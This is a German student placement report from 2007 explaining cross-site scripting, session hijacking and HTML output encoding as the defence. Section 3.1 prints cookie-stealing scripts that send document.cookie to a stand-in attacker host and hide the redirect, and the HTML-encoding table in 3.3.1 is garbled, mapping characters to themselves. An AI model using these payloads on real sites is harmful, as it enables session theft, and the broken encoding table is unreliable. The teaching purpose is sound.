Cross-Site-Scripting-Problem

Praxiserfahrung bei der Umsetzung eines Projekts

3.Praxisbericht

Praxisphase vom

02.04.2007 - 24.06.2007

Studienbereich Wirtschaft

im Studiengang Wirtschaftsinformatik
an der Berufsakademie
Ravensburg

Verfasser: Cornelius Knall
Kurs: WI2005-2
Datum: 07.05.2007
Ausbildungsbetrieb: it.x informationssysteme gmbh Konstanz
Anschrift:
Line-Eid-Strasse 1
78467 Konstanz

Unterschrift des verantwortlichen Ausbilders

Inhaltsverzeichnis

1 Einleitung **1**
1.1 Beispiele 1

2 Sessions **2**
2.1 Session-Hijacking 3
2.2 Maßnahmen gegen Session-Hijacking 3
2.3 HTTPS 4
2.4 Schwachstelle »Benutzer« 5

3 Cross-Site-Scripting **6**
3.1 Session-Hijacking mit Hilfe von XSS 6
3.2 Das Problem 8
3.3 Die Lösung 8
3.3.1 HTML-Kodierung 10
3.3.2 Browser-Zeichensätze 10

4 Zusammenfassung **11**

1 Einleitung

Im Jahr 2000 warnte das Computer Emergency Response Team Coordination Center (CERT)[1] in zwei Dokumenten[2] [3] vor etwas, das später als »Cross-Site-Scripting« (XSS) bezeichnet wurde. Mit XSS lässt sich ein Webserver so austricksen, dass er einem Benutzer böswilligen HTML-Text - im typischen Fall Skriptcode - präsentiert. Dahinter steckt oft die Absicht, Session-Informationen zu klauen, und die Site danach anstelle des Opfers zu kontaktieren. Skritpe können aber auch zur Manipulation von Websites benutzt werden, um dem Besucher falsche Informationen anzuzeigen. Es ist auch möglich Formularinhalte zu manipulieren und umzuleiten, sodass geheime Informationen auf dem Computer des Angreifers landen. XSS greift im Allgemeinen den Benutzer der Web-Anwendung und nicht die Anwendung selbst an. Attacken dieser Art sind möglich, wenn es der Web-Anwendung an angemessener Ausgabenfilterung mangelt.

1.1 Beispiele

Zu erst einmal ein ganz einfaches Beispiel. Die wohl älteste dynamische Web-Anwendung: ein Gästebuch. Die hier betrachtete Gästebuch Implementierung macht es einfach, sie lässt dem Besucher alles eingeben, was sie wollen, und hängt den neuen Text einfach an den vorherigen an. Nun tritt ein Angreifer auf den Plan und gibt beim Feld »Bitte tragen Sie sich in Gästebuch ein:« folgendes ein:

```
<!--
```

Was passiert? Zunächst einmal gar nichts. Wenn dieser Text nun mit neuen und älteren Einträgen gemischt wird, sendet die Web-Anwendung Folgendes an den Browser:

```
.
Lorem ipsum dolor sit amet, consetetur sadipscing elitr
<!--
Lorem ipsum dolor sit amet, consetetur sadipscing elitr
.
```

Man beachte, dass die Textauszeichnung des Angreifers als Teil des HTML-Textes erscheint. Standardkonforme Browser behandeln das <!– als Kennzeichen für einen Kommentar, und da es kein Kennzeichen für das Kommentarende –> gibt, wird der gesamte

[1] Cert-Website, http://www.cert.org

[2] Advisory CA-2000-02:Malicious HTMLTags Embedded in Client Web Requests, Feb. 2000, http://www.cert.org/advisories/CA-2000-02.html

[3] Understanding Malicious Content Mitigation for Web Developers, Feb. 2000 , http://www.cert.org/tech_tips/malicious_code_mitigation.html

Text nach dem <!– ausgeblendet. Nun dies ist nicht spektakulär, aber ärgerlich. Was hätte passieren können, wenn ein Angreifer nun Folgendes eingeben hätte:

```
<script>
 for (i=1; i< 1000; i++)
   window.open("http://www.verruchteseite.xxx");
</script>
```

Dies ist nun auch nicht gefährlich, sondern nur störend, da man 1000 geöffnete Browserfenster von Hand wieder schließen muss.
Dies waren nur sehr einfache und heut zu Tage kaum noch mögliche Attacken, denn diese Attacken sind nur möglich wenn keine Ausgabenfilterung statt findet. Diese Beispiele machen auch Klar, dass man irgendeine Kontrolle darüber braucht, was eine Web-Anwendung an den Clienten weitergibt. Doch vorher möchte ich noch einige schwerwiegendere Problemen widmen.

2 Sessions

Cookies bieten eine einfache Möglichkeit, den Zustand von Anfragen zu speichern. Allerdings haben Cookies mehrere Nachteile, wegen der sie für die vollständige Lösung des Zustandsproblems ungeeignet sind. Erstens können Cookies von ihrer Größe begrenzt sein, daher gibt es Probleme beim speichern von Zuständen die viel Platz brauchen. Zweitens werden Cookies auf der Clientseite gespeichert, weshalb ständig sichergestellt werden muss, dass ein Benutzer den Zustand nicht nach seinem Geschmack ändert. Beides wäre unproblematisch, wenn man die Zustandsinformationen auf der Server Seite speichern und verwalten würde. Und genau darum geht es bei *Sessions*.
Sessions (Sitzungen) oder Session-Objekte sind serverseitige Sammlungen von Variablen, die zusammen den Zustand ergeben. Nun braucht man eine Möglichkeit, jede Datenmenge mit dem richtigen Client zu verknüpfen. Beim normalen Vorgehen lässt man jeden Client bei jeder Anfrage eine *Session-ID* abgeben. Diese *Session-ID* identifiziert eindeutig ein Session-Objekt auf dem Server. Dieses Session-Objekt, gehört genau dem Client, der die Anfrage stellt.

2.1 Session-Hijacking

Viele Websites verwenden einen Session basiertes Loginverfahren, welches eine Session einleitet, sobald der Benutzer einen gültigen Namen und ein gültiges Passwort eingegeben hat. Was passiert nun, wenn ein Angreifer an eine gültige Session gelangt? Er kann nun diese gültige Session für sich missbrauchen. Nun kann er auf die Webseite, von der die Session stammt, gehen und sich als authentifizierter Benutzer anmelden. Dazu braucht er nicht einmal das Passwort zu kennen, da die Session-ID als »*kurzfristiges Passwort*« oder Beweis der erfolgreichen Authentifizierung nach der Anmeldung fungiert.
Als nächstes wäre die Frage zu klären, wie ein Angreifer Zugriff auf eine Session bekommt. Hier gibt es mehrere Methoden. Der Angreifer kann die Session erraten, ausrechnen, systematisch suchen oder durch herum probieren finden. Wenn dies alles erfolglos war, kann der Angreifer ein Technik, die als »Cross-Site-Scripting« bezeichnet wird, einsetzten. Diese Technik wird hier auszugsweise beschrieben.
Schließlich gibt es noch die Methode, die das Netzwerk abhört. Das sogenannte *Packet-Sniffing*. Diese Methode wird hier nicht weiter besprochen.

2.2 Maßnahmen gegen Session-Hijacking

Die Sicherheit von Sessions beruht auf der Geheimhaltung der Session-ID. Daraus folgt, dass die sicherste Maßnahme gegen Session-Hijacking die der Geheimhaltung ist, sodass die Session-ID nicht an Dritte gelangt.
Ein erster Ansatz wäre, die Session-ID an die URL anzuhängen, sollte aber vermieden werden. Zwar ist dies ein erster Schutz vor Session-Hijacking, da der Webserver erkennen kann von welcher IP-Adresse die Session-ID stammt. Jedoch kann der Server dies nicht mehr, wenn der Angreifer denselben Web-Proxy benutzt. Da hier die IP-Adressen gleich sind.
Ein weiterer Ansatz wäre, die Session-ID mit einem bestimmten HTTP-Header zu verknüpfen, zum Beispiel dem Header *User Agent*. Kommt eine Session von einem anderen *User-Agent*, kann der Web-Server davon aus gehen, dass diese gefälscht ist. Jedoch hundertprozentig sicher ist diese Methode auch nicht, da es Möglichkeiten gibt, diesen Header zu fälschen. Oder der Angreifer könnte das Opfer auf eine eigene Seite locken, um dort dann die vom Browser gesendeten Header auf zu zeichnen. Der Angreifer wäre dann in der Lage auch auf Seiten zuzugreifen, welche die Sessions verfallen lassen, sobald der Web-Server Verdacht schöpft, dass hier etwas nicht stimmt.
Ein weiterer Ansatz ist, dass verwenden von variablen Sessions, d.h. die Session-ID wird

bei jeder Anfrage neu generiert und vergeben. Leider bietet auch dies keinen vollen Schutz, da ein Angreifer, der die aktuelle Session-ID besitzt, sich schneller der Web-Site präsentieren könnte, als der eigentliche Besitzer.
In Web-Anwendungen ist es üblich, jedem Besucher eine Session-ID zu zuweisen, noch bevor dieser sich über ein Login anmeldet. In manchen Anwendungen ist es notwendig diese Session-ID zu benutzen, um nicht angemeldet Benutzer zu verfolgen. Probleme treten dann auf wenn diese Session-ID weiter benutzt wird, wenn sich der Benutzer authentifiziert. Dieses Problem tritt auf, wenn die gleiche Session für Klartext-HTTP und verschlüsseltes HTTPS benutzt wird.
Betritt nun ein Benutzer einen, per HTTPS gesicherten Bereich, würde die Session-ID im Klartext über die Leitung gehen, und man könnte sie per *Packet-Sniffing* auslesen.

2.3 HTTPS

Im Web-Umfeld läuft die Verschlüsselung normalerweise über HTTPS. Einfach ausgedrückt, kann man HTTPS als gutes altes HTTP bezeichnen, das über einen verschlüsselten Kanal kommuniziert. Der Kanal wird von einem Protokoll namens *Secure Socket Layer* (SSL) oder von dem Nachfolger *Transport Layer Security* (TLS) bereitgestellt. Wichtig hierbei ist, dass nur die Verbindung zwischen Server und Client verschlüsselt werden. Ein Angreifer kann hier sowohl den Server als auch den Client angreifen, muss sich aber große Mühe geben, wenn er den gesicherten Kanal angreifen will.
Wird SSL oder TLS eingesetzt, beginnen Client und Server ihre Kommunikation mit einem sogenannten *Handshake*:

- Client und Server einigen sich über die zu verwenden kryptographischen und Hashing - Algorithmen.
- Der Client empfängt vom Server ein Zertifikat und validiert es.
- Der Client und Server einigen sich auf einen symmetrischen Chiffrierschlüssel
- Die verschlüsselte Kommunikation beginnt.

Nach dem der Handshake abgeschlossen ist und die Verbindung steht, wird nun Kommunikation über das normale Klartext-Protokoll HTTP, in diesem gesicherten Kanal, begonnen. Läuft alles wie geplant, so kann zwar ein Angreifer die Pakete mithören, aber durch die Verschlüsselung, erhält der Angreifer nur unzusammenhängende Zufallsdaten. HTTPS schützt also vor *Paket-Sniffing*.
HTTPS schützt auch vor so genannten *Man-in-the-middle-Attacken* (MITM). Bei einer

MITM-Attacke überlistet der Angreifer den Benutzer und zwingt den Benutzer eine Verbindung zum Angreifer auf zu bauen, anstatt zur gewünschten Website. Der Angreifer wiederum baut nun eine Verbindung zur gewünschten Website auf, und kann so die Kommunikation mit verfolgen. Wird nun HTTPS eingesetzt, werden die Zertifikate zwischen Client und Server immer überprüft. Auf Grund wie Zertifikate erzeugt werden, ist es dem Angreifer nicht möglich ein gültiges aber gefälschtes Zertifikat ein zu schleusen. Wie gesagt, vorausgesetzt, alles läuft wie geplant ab.

2.4 Schwachstelle »Benutzer«

Neuere Versionen von SSL- und TLS-Spezifikationen gelten, nach Stand der Technik als sicher. Die Probleme sind nicht auf die Standards, sondern auf die Benutzung zurück zu führen. Vor allem betrifft dies den Benutzer. Was macht ein durchschnittlicher Benutzer, wenn sich im Browser ein Fenster öffnet, das dem Benutzer irgendwas von Zertifikaten etc, präsentiert? Der Benutzer klickt einfach auf weiter, um seine Arbeit im Netz fort zu führen. Und schon ist das ganze Sicherheitspaket ruiniert.
HTTPS-Zertifikate sind eng mit dem Domainnamen verknüpft. Kann nun ein Angreifer eine glaubhafte Domain sichern, z.B.

```
www.citi-bank.example.net
```

und der Angreifer merkt nicht das es korrekt

```
www.citibank.example.net
```

lauten sollte, kann der Angreifer dem Benutzer die korrekte Website vorgaukeln, und an sensible Daten gelangen. Denn normalerweise sind die gefälschten Website gute Kopien des Originals. Hat der Angreifer ein gültiges Zertifikat für seine Domain gekauft, gibt es keine Warnung von den Browsern. Ist der Angreifer sich sicher, dass der Benutzer, der angegriffen werden soll, sich mit Domainnamen und Protokollen nicht auskennt, muss der Angreifer nicht einmal HTTPS und Zertifikate einsetzen, sondern kann auf das normale HTTP zurückgreifen.

3 Cross-Site-Scripting

3.1 Session-Hijacking mit Hilfe von XSS

Ein Opfer das sich an eine Website anmeldet erhält eine eindeutige Session-ID. Ein Angreifer möchte diese Session-ID haben, um sich an der Web-Anwendung anzumelden und als authorisiert zu gelten. Nun wie kann ein Angreifer an eine Session-ID des Opfers gelangen.

Das gewünschte Cookie, indem die Session-ID gespeichert ist, existiert nur in der Kommunikation des Opfers und des Servers. Damit ein Skript erfolgreich auf dieses Cookie zugreifen kann, muss es auf Seiten enthalten sein, die vom Webserver direkt an den Browser des Opfers gesendet werden. Angenommen der fragliche Webserver bietet ein Forum an, das für XSS anfällig ist, weil es in den von Benutzern eingegebenen Beiträgen Skripte zulässt.

Als erstes nimmt der Angreifer an einer Diskussion teil, und erstellt einen Beitrag und niestet dort sein angreifendes Skript ein. Der Webserver speichert diesen Beitrag. Kommt nun das Opfer wieder auf die Seite, und liest den neuen Beitrag, so wird das Skript aktiv. Es liest nun das Cookie mit der Session-ID aus und sendet dieses an den Angreifer, entweder per e-Mail oder es wird auf eine andere Weise gespeichert. Der Angreifer installiert nun das geklaute Cookie in seinem Web-Browser und besucht die Webseite erneut. Jedoch ist der Angreifer nun als das Opfer registriert und angemeldet. Jetzt kann er neue Beiträge etc schreiben.

Ein JavaScript Programm welches das Cookie dem Webserver des Angreifers ausliefert kann so aussehen:

```
<script>
 document.location.replace(
  "http://www.angreifer.com/steal.php" + "?what=" + document.cookie)
</script>
```

Das obige Skript verwendet `document.location.replace`, um den Benutzerbrowser auf eine andere URL umzuleiten, um dort das Skript `steal.php` auf zurufen. Das Skript `steal.php` erwartet nun einen Parameter, den der Browser auch weiterleitet, und zwar den Inhalt, der in der Variablen `document.cookie` hinterlegt ist. In dieser Variablen steck auch das Session-Cookie, auf das es der Angreifer abgesehen hat.

Natürlich merkt das Opfer recht schnell, dass hier etwas nicht stimmt, denn sowohl die URL ändert sich, als auch der Inhalt der Webseite sieht anders aus. Der Browser des

Opfers besucht ja nicht mehr die gewünschte Webseite, sondern die des Angreifers, auf dem das Skript läuft. Der Angreifer kann nun auf seiner Webseite wiederum eine Weiterleitung einrichten, damit das Opfer sofort wieder auf die ursprüngliche Seite geleitet wird. Das folgende Skript ist um einen weitern Parameter erweitert:

```
<script>
 if (document.cookie.indexOf("stolen") < 0)
  {
  document.cookie = "stolen=true";
  document.location.replace(
  "http://www.angreifer.com/steal.php"
   + "?what=" + document.cookie
   + "&whatnext=https://www.irgendwo.com/")
  }
</script>
```

Diesmal akzeptiert das `steal.php` Skript zwei Parameter. Den `what`-Parameter von vorhin, und einen zweiten `whatnext`-Parameter, der eine URL beinhaltet. Auf der neuen Seite lieg nun folgendes Skript, dass den Browser anweist, auf die ursprüngliche Seite zurück zukehren.

```
<script>
 document.location.replace("https://www.zurück.com)
</script>
```

Der Benutzer *könnte* ein kurzes Flackern wahrnehmen, kann aber nicht feststellen, dass er eben kurz auf der Webseite des Angreifers war und dort seine geheimen Informationen hinterlassen hat. Die Geschichte taucht nicht einmal in der Browser-Historie auf, weil `Document.location.replace` den aktuellen Eintrag mit der neuen URL überschreibt.
Nachfolgend eine schrittweise Übersicht über XSS-basiertes Session-Hijacking, das die obige Methode beinhaltet:

1. Der Angreifer bringt die korrekte Seite irgendwie dazu, sein Cookie klauendes Skript auszuführen.

2. Der Browser des Opfers empfängt das Skript und führt es aus. Das Skript lenkt das Opfer sofort auf seine Seite und liest die wichtigen Informationen aus.

3. Nach Empfang der Daten, wird das Opfer wieder auf die ursprüngliche Seite zurück geleitet.

4. Der Angreifer installiert das geklaute Cookie in seinen Browser und besucht nun als das Opfer getarnt die entsprechende Seite, und kann dort Schaden anrichten.

3.2 Das Problem

Cross-Site-Scripting funktioniert, wenn eine Web-Anwendung dazu gebracht wird, HTML - Code des Angreifers an den Browser des Opfer zu übergeben und aus zu führen. Der Browser interpretiert HTML-Code, welcher die Programmierer der Web-Anwendung gar nicht senden wollten.
Die einfachste Cross-Site-Scripting Attacke gelingt, wenn der Angreifer ein neues Tag, insbesondere ein Script-Tag einfügt.

```
<script>....</script>
```

Diese Einführung klappt nur, wenn der HTML-Parser noch nicht im Inneren eines anderen Tags ist. In manchen Fällen, wenn z.B. Daten als Teil eines Tag-Attributs eingefügt werden, ist der Parser nicht direkt zur Annahme eines neuen Tags bereit. Man stelle sich den folgenden Teil einer Web-Anwendung vor, in dem die Eingabe eines Benutzer an der Stelle, an der sich die Punkte befinden, eingefügt werden:

```
<input type="text" name="adress" value="..." />
```

Um in diesem Falle ein neues Tag ein fügen zu können, muss das aktuelle Tag geschlossen werden. Folgende Zeile schließt das Value-Tag und dann das Input-Tag und fügt ein eventuelles schadhaftes Skript ein:

```
"><script>Lorem ipsum dolor</script>
```

Um festzustellen, in welchem Kontext seine Einführung erfolgt, muss der Angreifer den HTML-Text analysieren und die notwendigen Metazeichen einfügen, damit in ein »skriptfreundlichen« Kontext gewechselt wird.

3.3 Die Lösung

Da Cross-Site-Scripting ein Metazeichenproblem ist, muss man etwas unternehmen, damit die Metazeichen ihre Bedeutung verlieren. Dazu braucht man irgendein Escaping, und man es hier mit HTML zu tun hat, wird dieses Escaping als HTML-Kodierung bezeichnet.
Man muss sich folgende Frage stelle: »Wann versieht man diese Zeichen mit Escapezeichen, um Cross-Site-Scripting zu verhindern?« Viele Programmierer entscheiden sich

dafür, das Problem zur Eingabezeit zu behandeln, und zwar aus unterschiedlichen Gründen: Entweder weil die Programmierer es als Eingabeproblem sehen, oder weil sie es so schnell wie möglich los werden wollen oder weil es für sie zu aufwendig ist, die Zeichen bei jeder Ausgabe zu behandeln.
Cross-Site-Scripting ist ganz klar ein Datenübergabe Problem, also sollte man sich bei der Datenübergabe mit dem Problem befassen. Für HTML ist Zeitpunkt der Datenübergabe die Ausgabe. Sprich wenn die Web-Anwendung eine Ausgabe erzeugt, und zwar bei jeder Ausgabe.
es gibt mehrere Gründe für die Verlegung der HTML-Filterung auf den Ausgabezeitpunkt:

- Nicht nur Benutzereingaben müssen gefiltert werden, sondern auch Daten die aus Dateien, Datenbanken etc. kommen. Mit der Regel »Filtere Ausgaben, wenn Ausgaben erfolgen« ist es leichter sich die Filterung zu merken.

- Wenn zum Eingabezeitpunkt gefilter wird, so wird auch der gefilterte Inhalt z.B in eine Datenbank geschrieben, und andere Anwendungen, die von der gleichen Datenbank lesen, z.B. ein Drucker, so müssten die Filter wieder entfernt werden.

- HTML-Kodierung verlängert die Datenzeichenketten, so wird unötig Speicherplatz in einer Datenbank belegt.

Wie also ist die Filterung durchzuführen? Je nach Daten gibt es im Allgemeinen drei Möglichkeiten.

- Wenn die Daten kein Markup enthalten dürfen, führt man eine HTML-Kodierung durch.

- Soll dem Benutzer gestattet werden Markup einzugeben, wird es schwieriger. Man muss unterscheiden, was ist gewollt und was könnte gefährlich werden.

- Kann man dem Benutzer vollstes Vertrauen schenken, und der Benutzer muss Markup eingeben, werden die Daten ohne jede Filterung durchgelassen. Ein besondere Behandlung ist nicht nötig, aber man bedenke die Konsequenzen.

3.3.1 HTML-Kodierung

Durch HTML-Kodierung (HTML encoding) bildet man bestimmte Metazeichen auf äquivalente Zeichenfolgen ab. Die Abbildung geschieht folgend:

1. Bilde jedes Vorkommen von & (Ampersand) auf & ab
2. Ersetze jedes “ (doppeltes Anführungszeichen) durch "
3. Ersetze jedes < (kleiner als) <
4. Ersetze jedes > (größer als) >

Falls eine Anwendung einfache Anführungszeichen zur Kapselung von Tag-Attribute benutzt, so muss auch dieses einfache Anführungszeichen durch ' ersetzen. Dieser Algorithmus muss zum Glück nicht von Hand geschrieben werden, in vielen Web-Programmiersprachen, wie PHP gibt es schon eine fertige Funktion. In PHP ist es html-specialchars. Man sollte aber überprüfen ob die Funktion auch genau das macht was man erwartet.

3.3.2 Browser-Zeichensätze

Kann man sich also in Sicherheit wiegen , wenn man alles in HTML kodiert hat? Leider ist das nicht so, da mit Einführung von HTML4.0 sich der Zeichensatz geändert hat, bzw neue Zeichensätze hinzu kamen. Früher gab es nur den Standarzeichensatz ISO 8859-1. Heute gibt es eine Vielzahl mehr. Diese neuen Zeichensätze wurden von internationalen *Unicode Konsortium* eingeführt, damit auch nicht westeuropäische Sprachen abgebildet werden konnten. Die vom CERT im Jahre 2000 veröffentlichten XSS-spezifischen Dokumente, besagen, dass eine Web-Anwendung den zu verwendenden Zeichensatz vorgeben soll. Wenn nun auf ISO 8859-1 gefiltert wird, so muss auch sicher gestellt werden das der Ziel-Browser aufgefordert wird, diesen Zeichensatz zu verwenden. Entweder stellt man sicher das der Webserver dies übernimmt, indem man einen HTTP-Header Content-type wie diesen einfügt:

```
Content-Type: text/html; charset=ISO-8859-1
```

oder man fügt die entsprechende Anweisung wie folgt in dem HTML-Header ein:

```
<meta http-equiv="Content-Type"
 content="text/html; charset=ISO-8859-1">
```

Wenn alles HTML-kodiert und ausdrücklich angegeben wurde, welcher Zeichensatz zur Filterung benutzt wurde, so kann man sich sicher fühlen.

4 Zusammenfassung

Um nicht durch Cross-Site-Scripting-Attacken verwundbar zu sein, muss eine Website sehr vorsichtig im Umgang mit Daten sein. Daten, die an den Client gesendet werden müssen, sind sorgfältig zu prüfen und zu filtern, um alles zu entfernen, was zum ausführen von Skripten führen kann. Sichere Filterung der Ausgabe bedeutet, dass alles, was von einem Browser als Skript interpretiert werden kann, entfernt wird. Die einzige sichere Methode ist die HTML-Kodierung bestimmter Zeichen, sowie die gleichzeitige Angabe, für welchen Zeichensatzkodiert wurde. In Fällen, in denen Textauszeichnung in gewissen Umfang erlaubt sein soll, sollte man nicht nur auf Tag, sondern auch auf Attribute und Attributwerte achten. Jede Filterung sollte auf der Grundlage des Whitepapers-Prinzip geschehen. Dabei werden nur zulässige Tags und Attribute durchgelassen, und alle anderen entfernt.